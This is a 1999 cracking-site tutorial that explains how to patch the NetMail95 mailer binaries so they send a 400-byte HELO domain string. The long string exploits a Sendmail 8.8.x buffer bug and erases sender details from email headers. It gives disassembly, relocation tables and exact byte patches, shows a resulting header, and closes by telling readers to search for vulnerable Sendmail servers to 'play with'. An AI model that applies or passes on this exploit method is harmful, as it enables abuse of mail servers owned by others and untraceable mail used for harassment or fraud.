Making an anonymous mailer
Messing with data structures
Reverser's Anonymity Academy
23 September 1999
by Zer0+
Courtesy of Reverser's page of reverse engineering
and the Immortal Descendants, Inc.
slightly edited 
by reverser+ 
Heya! Zer0+ is back with an extremely interesting essay about anonymizing your mail (and reversing data structures as well :-)
I believe this to be a very important paper for my anonimity section, and I wish others would contribute on these same lines... BTW, if Zer0+ agrees (and if he or any other +student has the time to take care of that), I believe we could as well publish, now, the anonymity "tricks" that +Alistair teached us in 1998...
There is a crack, a crack in everything That's how the light gets in
( )Beginner (x)Intermediate ( )Advanced ( )Expert

This essay shows how to modify data structures in a program, and shows
how to send anonymous emails easily.

Modifying NetMail95 to exploit a Sendmail bug
Using long strings as domain name
Written by Zer0+

There is a well documented bug in Sendmail 8.8.x (described here)
which can be used to erase all relevant information about the sender from
the header of the email. The exploit is based on the fact that the buffer
where the information on the origin of the mail is stored can be
overwritten with a 1kb string which is passed to Sendmail as the argument
of the HELO command. For the meaning of HELO and the description of the
whole SMTP protocol please read RFC821.
So to send an anon mail we want an email program to pass a 1kb string instead of our domain name when it says HELO to Sendmail.

Tools required

Dumppe from Clive Turvey

Target's URL/FTP

NetMail 95 2.12 is all over the net as, you can find it
for example here.

Program History

Not relevant


So we want our mailer to send a long string to the Sendmail SMTP server
in the HELO command as a domain name.

Unfortunately, not many mailers allow you to define the domain name they
pass and even less capable to handle a 1kb string as a valid domain name.
Of course, one can write his own mailer or modify an open source one, but
I preferred to play with Netmail, which I am using currently.

Netmail 95 2.12 (Nm95.exe 73728 bytes) is a free (but not open source)
win32 command line mailer which sends text files as emails and puts
incoming emails into text files.
It also comes with a gui configuration tool (Nm95cfg.exe 76800 bytes) to
set different parameters like incoming and outgoing directory, etc.
Everything is as simple as can be, just the way I like it.
It also lets you define the domain name to be used in the HELO command
which is a good start. :)

Cracking Nm95cfg.exe:
Start Nm95cfg.exe create a new config file and fill in the relevant info.
The first textbox on the server tab asks for the domain name, that's what
we have to mess with. You also have to set the SMTP, POP server etc.
All these info are saved into the freshly created Nm95.cfg file.
Open and study the file, create a new one and study it too.

The next conclusions can be drawn:
- the file is 590 bytes long (all numbers are hexadecimal further on)
- each entry is fixed length, so shorter strings are padded with zeros
  longer strings are trimmed
- the order of entries and their offset from the beginning of the file:

Entry                      Offset(bytes)
"NetMail 20 CFG" string         0
domain name                    10
incoming folder                50
outgoing folder                A0
smtp server                    F0
pop server                    130
pop username                  170
pop password                  1F0
log file                      230
number of mail in inbox       280
dialup connection name        284
dial up user name             385
dial up password              486
flood protection              588
delete large messages         58C

It is clear that we have to modify Nm95.exe to make it handle a 400 bytes
long string as the domain name instead of the 40 bytes long we see here.

Lets check how Nm95cfg.exe handles this file. Disassemble Nm95cfg.exe
with wdasm and load the process. Set break points on ReadFile function
calls (two locations) and let it run.

We break at 403BC3 on the ReadFile call, and wdasm api viewer tells us
what are the arguments of the call.
arg1, file handle = 06
arg2, address of buffer receiving the data = 660078
arg3, number of bytes to read = 1000
arg4, address of number of bytes actually read = 64Fd34
arg5, address of overlapped data = 0 (not important now)

The most important information here is, that the program is able to
read 1000 bytes data which is much more than the original 590 plus
the 400 extra bytes we would like to add to the cfg file, so
we do not have to worry about the ReadFile function.
It worth to note that all the data is read in one big chunk, meaning
that must be a variable (a structure or a string) in the program which
will hold all the data after the read is completed.

After the read file function we single step with F8 through some error
checks until we see that the program starts to copy the data from the
input buffer at 660078 to its final location at 409C60. This happens
at 40255A code position. Let it finish the copy and single step until
you find the call which initiated the whole read process at 4010AE.
Here is a code snippet from that location:

:004010A0 and eax, 00000008
:004010A3 add eax, 00000588    ;8+588=590 !
:004010A8 push eax             ;push the length of the file = 590
:004010A9 push 00409C60        ;push the address where to read !
:004010AE call 004024E0        ;read the data
:004010B3 add esp, 00000010
:004010B6 cmp eax, 00000001    ;successful?
:004010B9 jne 00401374         ;if not damaged config file
:004010BF test ebx, ebx
:004010C1 jne 004010DF         ;old config file
:004010C3 push 00000010

* StringData Ref ->"NetMail95 20 CFG"
:004010C5 push 00408094        ;file title
:004010CA push 00409C60        ;beginning of data
:004010CF call 004024A0        ;check if the title is correct
:004010D4 add esp, 0000000C
:004010D7 test eax, eax
:004010D9 jne 00401374         ;if not damaged config file
.                              ;start processing the individual entries
:00401100 mov edi, 00409C70    ;domain name string !
:00401105 mov ecx, FFFFFFFF
:0040110A sub eax, eax
:0040110C repnz                ;get the length
:0040110D scasb
:0040110E not ecx
:00401110 sub edi, ecx
:00401112 mov eax, ecx
:00401114 shr ecx, 02
:00401117 mov esi, edi
:00401119 mov edi, 00409114    ;address of the new string variable !
:0040111E repz                 ;copy to the new variable
:0040111F movsd
:00401120 mov ecx, eax
:00401122 and ecx, 00000003
:00401125 repz
:00401126 movsb
:00401127 mov edi, 00409CB0    ;continue with, incoming folder string .etc

The important information here is that the program refers to the
begining of the data by a fixed address 409C60 which means that
a global structure holds our data. We can get the address of each
entry by adding the offset of the entry we calculated previously
from the Nm95.cfg file to 409C60. The domain name is at address
409C70. In the source code the structure might have been looking
like this:

typedef struct
  char title[10];
  char domain_name[40];
  char incoming_folder[50];
  int del_large_mesage;
} configdata;

At 401100 the program starts to copy the members of the structure
into individual variables which are associated with the text boxes
on the form. The string variable containing the domain name is at
409114 and the length of the string is stored at 409110 (already
set to 40).

We now know, how the data is read and put into string variables.
We only have to find how where it is copied back into the structure
before the config file is saved. We only have to search for the
references to 409114 to find the important code pieces.

Here the content of the textbox is copied into the string variable:

:004017E8 push 00409114                    ;string variable !
:004017ED push 00000104                    ;get 104 characters !

* Reference To: USER32.SendDlgItemMessageA, Ord:01C4h
:004017F2 mov esi, dword ptr [0040C1E4]    ;send message
:004017F8 push 0000000D                    ;WM_GETTEXT

* Reference to Dialog: DialogID_006D, CONTROL_ID:04D6, ""
:004017FA push 000004D6                    ;domain name textbox
:004017FF push ebx                         ;parent window
:00401800 call esi                         ;get the text

And here the data structure is filled from the variables before it
gets saved into the config file:

* StringData Ref ->"NetMail95 20 CFG"
:004013E0 mov eax, dword ptr [00408094]    ;All these magic here is to put
:004013E5 push esi                         ;the string "NetMail 20 CFG"
:004013E6 mov esi, dword ptr [00408098]    ;to address 409C60 at the
:004013EC mov dword ptr [00409C60], eax    ;beginning of the structure
:004013F1 mov eax, dword ptr [0040809C]
:004013F6 mov dword ptr [00409C64], esi
:004013FC push edi

* StringData Ref ->"NetMail95 20 CFG"
:004013FD mov ecx, 00408094
:00401402 mov dword ptr [00409C68], eax
:00401407 mov edx, 00409C60
:0040140C mov ecx, dword ptr [ecx+0C]
:0040140F push 00000040                    ;finally, here take 40 bytes !
:00401411 push 00409114                    ;of the domain name and !
:00401416 mov dword ptr [edx+0C], ecx
:00401419 push 00409C70                    ;copy it into the structure !
:0040141E call 004013B0                    ;do it
:00401423 add esp, 0000000C
:00401426 push 00000050                    ;50 bytes of the incoming
:00401428 push 00409420                    ;folder string is put
:0040142D push 00409CB0                    ;into the structure, etc
:00401432 call 004013B0                    ;do it

Now, we can design our 'crack':
- First, we have to make a new structure which has a 400 bytes long
domain name entry instead of the original 40 bytes. We cannot just
enlarge the structure at its original position because it would overwrite
several other variables. We have to find a 950 bytes long empty space
and put it there. Then we have to redirect all references to the old
structure to the new one. (We have to modify all references to the
size of the structure to the new size, too).
- Second, we have to create a 400 bytes long string variable to hold
the domain name and redirect every reference from the original string
variable to this one. (Also every reference to the size of the string
must be modified to be 400.)
- Finally, we have to patch the code where the string is filled
from the textbox to let it copy 400 bytes instead of 104.

Where can we put the new 950 bytes long structure? We could create a new
section to the program to hold our data, but it is not nice to increase
the size of a nice compact program. Instead we can try to squeeze it
into the padding space of the .data section. With Dumppe we get the
next info: (for info on the PE header please see here.)

03  .data       Virtual Address         00008000
                Virtual Size            00003324
                Raw Data Offset         00006000
                Raw Data Size           00001000
                Relocation Offset       00000000
                Relocation Count        0000
                Line Number Offset      00000000
                Line Number Count       0000
                Characteristics         C0000040
                        Initialized Data

It tells us that the section starts at 408000 (400000 is the image base)
and 3324 bytes long so it lasts to 40B324 (both the original structure
and the domain string are in this space). The sections are aligned to
1000 so the next section starts at 40C000 therefore we have CDA byte long
padding from 40B325 to 40BFFF. This is enough to hold our new 950 bytes
structure, but not enough for both the structure and the new 400 bytes long
string (D50 bytes). On the other hand we can use the original place of
the old structure, which will not be used anymore to hold the string.
This way we do not have to add more sections and increase the program size.
We will put the new structure at 40B400 and the new string at 409D00.
(This nice round numbers make calculations easy :)

Here are the addresses of the structure we have to modify:
Entry                        old             new
title                        409C60          40B400
domain name                  409C70          40B410   400 bytes now!
incoming folder              409CB0          40B810
outgoing folder              409D00          40B860
smtp server                  409D50          40B8B0
pop server                   409D90          40B8F0
pop username                 409DD0          40B930
pop password                 409E50          40B9B0
log file                     409E90          40B9F0
number of mail in inbox      409EE0          40BA40
dialup connection name       409EE4          40BA44
dial up user name            409FE5          40BB45
dial up password             40A0E6          40BC46
flood protection             40A1E8          40BD48
delete large messages        40A1EC          40BD4C

additional references        409C64          40B404
into this region             409C68          40B408

All references in the program to these addresses have be modified.
At code 4010A3 the reference to the size of the structure should be
changed from 588 to 948 and at 40158C from 590 to 950. We are done
with the structure.

The domain name string references we have to modify:
reference                    old             new
length                       409110          409D00
string                       409114          409D04

Again the reference to the size of the string at 40140F has to be
set to 400. Because we need one extra byte to do this we have to
rewrite this part of the code a bit.
Here is the original code:

* StringData Ref ->"NetMail95 20 CFG"
:004013FD B994804000  mov ecx, 00408094            ! here
:00401402 A3689C4000  mov dword ptr [00409C68], eax
:00401407 BA609C4000  mov edx, 00409C60
:0040140C 8B490C      mov ecx, dword ptr [ecx+0C]  ! here
:0040140F 6A40        push 00000040
:00401411 6814914000  push 00409114

The two lines marked with ! does nothing more, but moves the " CFG"
string into ECX. We can get our extra byte if we replace these two
instructions with one like this:

:004013FD B920434647  mov ecx, 47464320      ;move " CFG" into ECX
:00401402 A3689C4000  mov dword ptr [00409C68], eax
:00401407 BA609C4000  mov edx, 00409C60
:0040140F 6800040000  push 00000400          ;here we have 400 bytes
:00401411 6814914000  push 00409114

Finally, at code 4017ED we have to modify the number of bytes read
from the textbox into the string from 104 to 400.
We are done, Nm95cfg.exe can handle a 400 bytes long string as domain
name now.

Cracking Nm95.exe
To actually send an anonymous email we also have to patch Nm95.exe to
make it capable to read and send the 400 bytes long domain name.
Because the crack is exactly the same as before I only describe it
in a nut shell. The structure is located at 411960 and we move it to

Entry                        old             new
title                        411960          413400
domain name                  411970          413410   400 bytes now!
incoming folder              4119B0          413810
outgoing folder              411A00          413860
smtp server                  411A50          4138B0
pop server                   411A90          4138F0
pop username                 411AD0          413930
pop password                 411B50          4139B0
log file                     411B90          4139F0
number of mail in inbox      411BE0          413A40
dialup connection name       411BE4          413A44
dial up user name            411CE5          413B45
dial up password             411DE6          413C46
flood protection             411EE8          413D48
delete large messages        411EEC          413D4C

Length of the structure has to be changed at 4035AB and 403818 from
590 to 950.

The buffer where the domain name is combined with HELO is located at
411000 and we move it into the place of the structure at 411960.
(The buffer can hold 3E8 bytes of data, but that's not enough for us.) Because this is the main input-output buffer for socket communication,
there are a lot of references to it all over the program, but we only
have to change the two references connected with the HELO sending:

:00401B7E push 00411970        ;this we already changed to 00413410
* StringData Ref ->"HELO %s"
:00401B83 push 0040E678
:00401B88 push 00411000        ;here, relocate the buffer to 00411960!
:00401B8D call 00405227        ;put HELO and domain name together
:00401B92 mov ecx, dword ptr [00410DA0]
:00401B98 push 00411000        ;here, relocate the buffer to 00411960!
:00401B9D push ecx
:00401B9E call 004013A0        ;send through socket

We are now ready to send our anonymous email.

Here is a header of an email sent by the modified Netmail through an
SMTP server with Sendmail 8.8.5. when we specified the domain name
as 400 bytes of dashes :): (Line breaks inserted by me.)

Received: from [] by mx04
via mtad (2.6) with ESMTP id 337DiqFhR0115M04;
Fri, 17 Sep 1999 05:33:17 GMT
Received: from -----------------------------------------
--------- lots of dashes :)
Date: Fri, 17 Sep 1999 01:33:12 -0400
Message-Id: <>
To: undisclosed-recipients:;

Seems it is working :)

Final Notes

Finally, to send an anonymous email you have to find a server
with Sendmail 8.8.x. If you do a search on altavista for example for the "(8.8.5/" string in recent documents you can fish a lot of servers, though not many of them willing to relay messages.
Anyway, you can play with the server. :)

Greetings to +everybody
Ob Duh

I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer period than the allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at all: you'll find it on most Warez sites, complete and already regged, farewell, don't come back.

You are deep inside reverser's page of reverse engineering, choose your way out:

redhomepageredlinksredsearch_formsred+ORCredhow to protectredacademy database
redreality crackingredhow to searchredjavascript wars
redtoolsredanonymity academyredcocktailsredantismut CGI-scriptsredmail_reverser
redIs reverse engineering legal?